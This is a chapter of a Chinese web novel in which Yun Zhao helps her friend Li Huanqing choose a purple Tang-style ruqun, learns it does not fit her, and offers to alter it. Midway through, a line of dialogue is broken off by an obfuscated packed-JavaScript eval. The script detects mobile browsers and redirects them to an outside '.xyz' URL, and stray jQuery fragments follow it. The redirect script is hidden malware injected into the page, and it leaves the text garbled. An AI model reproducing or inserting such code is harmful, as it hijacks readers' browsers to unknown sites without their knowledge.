“这倒是没有,不过国子监近日在遴选出彩的贡生,说要为大夏朝争光。这事肯定与来朝脱不了干系,也许届时陛下会让两边人斗文也说不准。”
李换晴抿唇,显然想到了什么有趣的事,“这几日贡生们成日鸡飞狗跳,争得不可开交,连我父亲都受不了他们,说要把他们的考核全都从严处理。”
“罢了,不说这个,我提起这件事是想告诉你,我觉得你的荷包比起以前春会上的货物也不差,若是来得及,去争上一争,要是能拿个小奖,也是给咱们闺中女眷争光了。”
李换晴对她抱有厚望,但拿奖这件事,云昭还真没什么信心。
春会上的货物她全都没见过,就算她的东西在江南算得上一绝,但京城如此繁华,必定藏龙卧虎。
但不论如何,不可能长他人志气灭自己威风,云昭用力点头,声音铿锵:“那自然,我是肯定要去争的。而且你眼光向来好,若你喜欢,其他人肯定也喜欢。”
李换晴眼睛弯弯,笑着用扇子拍云昭的肩:“什么眼光好,这么会说话。”
她眸光微转,圆脸上透出几分俏笑,有些像和蔼的狐狸:“我倒是觉得你眼光好,前几天那套对襟石榴裙我喜欢得紧,正好你送我荷包,不若帮我挑挑相配的衣裙?”
虽是请求的语气,不过闺阁女子之间分享衣橱本就是极私密的事。她能这样问,与其说是请求,不如说是借着衣裙委婉表达对云昭的认可。
两个人都爱打扮,平常书信来往里也会聊搭配风尚,面对面之后更是来了劲。
云昭当即点头:“我就是帮人做这个的,肯定给你打扮得漂漂亮亮的!”
李换晴叫人把房间里占了正面墙的巨大衣橱打开,里面华裙琳琅满目,如同午后湖面的粼光。
“我爱穿的都放在这里,如果你觉得没有合适的,我再叫人去库房看看。”李换晴走到妆镜台边,拉开六层木屉,里面整齐摆放着各色金银宝石,“这些首饰也是。”
云昭站在衣橱前,仔细观摩上面每一件衣裙的质地和形制。
和大多数京城贵女的喜好相似,李换晴的裙装以锦、缎、绸等厚实的质地为主,颜色也偏深。
既然要帮人搭配,主人家的喜好肯定是第一优先,云昭便边选边问:“换晴,你平常喜欢穿什么料子和款式?”
“穿着舒服就好,蜀锦的多,款式嘛,要看当下喜欢哪个,没有什么非穿不可的。”
看来颜色不拘,款式随意,最重要的是好看又好穿。
很实用的理念,云昭也很喜欢。李换晴对颜色没有什么讲究,正好方便她按照自己的喜好来。
那最主要的基调便没有悬念。
只要委托的主人家没有特殊要求,云昭就一定会在搭配中运用跳色。这是她的审美喜好,也是她的个人风格。她敢说,自己的审美足以让绝大多数人心悦诚服。
在江南的时候,有好几位出手阔绰的客人,都是凭借她这份独到的眼光和装扮争取到的。只要开口说了让她试试,就必定马到功成。
荷包缃红相间,其中缃色颜色较淡,给人以遥远淡雅、清丽幽芷之感,可以作为许多颜色的臣色。
如果要搭配得大胆得当,选取完全不同但能够相容的色系作为裙装的君色亦不失为一种选择,例如暮紫。
紫色色沉,但暮紫更近于晚霞,给人以飘逸灵动、浓烈艳丽之感。暮紫与缃色君臣相佐,再辅以杨妃色或缙色绣花,正好与荷包上的缙色兰花遥相呼应。如此搭配,不论从什么角度,亦近亦远,都浑然天成,不会脱离整体,游走裙外。
云昭在衣橱里翻箱倒柜,翻遍每一件衣裙,竟然真的找到一条完美符合心中想象的对襟唐襦裙。
料子细腻丝滑,光亮如新。云昭摆正它的袖口,问:“换晴,你觉得这件怎么样?”
为李换晴做搭配,她更有把握,因为和有研究的人分享自己的心得,总比与外行更简单。
然而李换晴看向那套暮紫勾缙色花边的唐襦,脸上露出的神情却并非喜悦,而是有些难色。
云昭意识到事情不简单,率先问:“换晴,怎么了?不喜欢吗?”
这很古怪。
摆在这衣橱里的裙装显然都是李换晴喜欢的,然而她此刻脸上的表情,却不像是真正喜欢这条襦裙的样子。
李换晴踌躇半晌,终于道出实情。
“不是,这条裙子我很喜欢。”
云昭没有回答她,因为她直觉李换晴还有话要讲。
果然,李换晴沉默片刻,似在组织语言,静了一息才又答道:“但是……穿不下。”
这话说出来之后,房间寂静得连烛火闪动的声音都清晰可闻。
不论怎么说,在数年没见的友人相聚中暴露出自己因为身材过于丰腴而穿不下某件衣服,实在令双方感到尴尬。
李换晴并不肥胖,但以世俗的眼光来看,的确称得上十分丰满。她的手臂与脸都圆润如盘,像打磨过的汉白玉。
云昭摆弄唐襦袖口的指尖只在凸起的绣花边上轻轻拂过,神情并未露出任何讶异,只是立刻张口道:“那有何难,改了就是。谁没几件不合身的衣裙。”
李换晴听见云昭这么说,虽然心知她肯定是挑好话讲,心中也宽释不少,试探问:“真的能改吗?其实……我是挺喜欢这衣服的,所以就算穿不下,在柜子里摆着,能看见它,心情也会变好。”
事情演变成现在这样,李换晴也没什么好隐瞒,干脆全讲了:“我平常自己看倒也罢了,真没想到你也会挑到这一件,也不知道该高兴咱俩眼光真像,还是该尴尬。”
“当然是高兴。换晴,你猜我怎么后来专注要做制衣生意?”
云昭向李换晴抛了个单眨眼,提起唐襦裙的对襟上衫在李换晴身上比对。
“因为我身材与中州女儿们有些不相似,我比她们略高,身子骨也壮些,在江南的衣铺虽然为我量身定制,但还是不服帖,索性把他们都退了,我自己来。自己改过的衣服比那些人强多了,总是服服帖帖的。”
李换晴见云昭真的能改的样子,当即听话地张开双臂,任由她给自己对比衣服,还贴心地问:“太好了,就知道你有办法。你这样比对方便吗?要不要我穿上给你瞧瞧?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540500|186636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那肯定更好不过了,我忧心你不愿与我坦诚相见呢。”
“你我都是闺阁子女,有什么不好意思。”
李换晴叫人帮她宽衣,一边解带一边说,“你哪儿算得上壮,我瞧你还有些瘦弱呢。没见一个我都顶三个你了吗?若你还壮,我真是没脸见人了。”
“京城离西凉近,越往北去的人就越高。我在京城里算矮个子,到江南去,比她们高不少呢。江南女儿们各个都像烟雨纤瘦唯美,我是比不来的。”云昭解释道。
“真有意思,我想象不出来该是怎么样的景画。”李换晴感慨地摇摇头,“可惜不知道这辈子有没有机会能去江南。”
李换晴没有太多感伤,侍女扶着她换完衣裳,穿上了那身暮紫色唐襦。果真是穿不太下,对襟卡在两肩,再不能往里套一寸,下襦则因裙幅不够,绑完系带又显得逼仄。
圆润女子几次尝试,都未能驯服这套不太合身的襦裙,最终只能半放弃地转向旁边看了全过程的云昭,无奈道:“就是这样,我实在拿它没办法。”
云昭已完全明了襦裙无法上身的原因。身材丰腴的女性在哪里都不罕见,云昭有数次类似的改衣经验,自信拍胸脯道:“放心,我一定给你改得服帖合身,漂漂亮亮地送回来。”
李换晴真心喜欢这条裙子,此时听云昭信誓旦旦,简直喜出望外。她马上把身上襦裙脱下叠好,放到云昭手里,殷勤重语,如同托付爱子的母亲:“那我把它交给你了,只要能做好,价格不是问题。”
“我在京城的铺面还没选定,算不得开张,也不便同你算账。若你满意我改的,等我开张后你常来做我客人便是。”
见李换晴面露担忧,云昭又补了一句:“你要是常来,还担心我没赚头么?”
李换晴想了想也是,推来脱去的没意思,便爽快应下:“我相信你,那就等你好消息。”
两个人一拍即合,正好天色还早,又到妆镜台前,聊最近京城时兴的头面首饰,以及因着这些美丽珠宝牵扯出的贵人风波。
李换晴面有福相善意,又是个好相与的,在京城人缘素来不错,知道的事情也多。云昭听她谈起,心中也渐渐建立起模糊的京城百像图。
这些人虽然还未打过交道,但她十分确信,早晚有一天,缘绳会让她们相见。
日暮时分,聊得尽兴的两人才依依不舍,走到李府门口惺惺相惜地分别。
云昭坐上回家的马车,李换晴与贴身侍女彩珠站在憨态可掬的貔貅旁,以目送别。
彩珠深知自家主人有多喜爱那套别致的唐襦,忍不住道:“希望云小姐真能如她所说,为您做出合身的衣裙。”
李换晴抬头,望着天上圆圆的月,轻叹:“是啊,希望真能。”
在街上见到美丽的成衣,她也偶尔会生出买回家穿的心思。可惜,除去量身定做的衣裙外,几乎从未有成衣能塞下她的身躯。
她并不为自己的身材感到过多的苦恼,只是面对塞不下的上襟时,也时常忍不住想,要是它能大一些,再大一些就好了。
或许,云昭真的能解决她一直以来的烦恼……也说不定?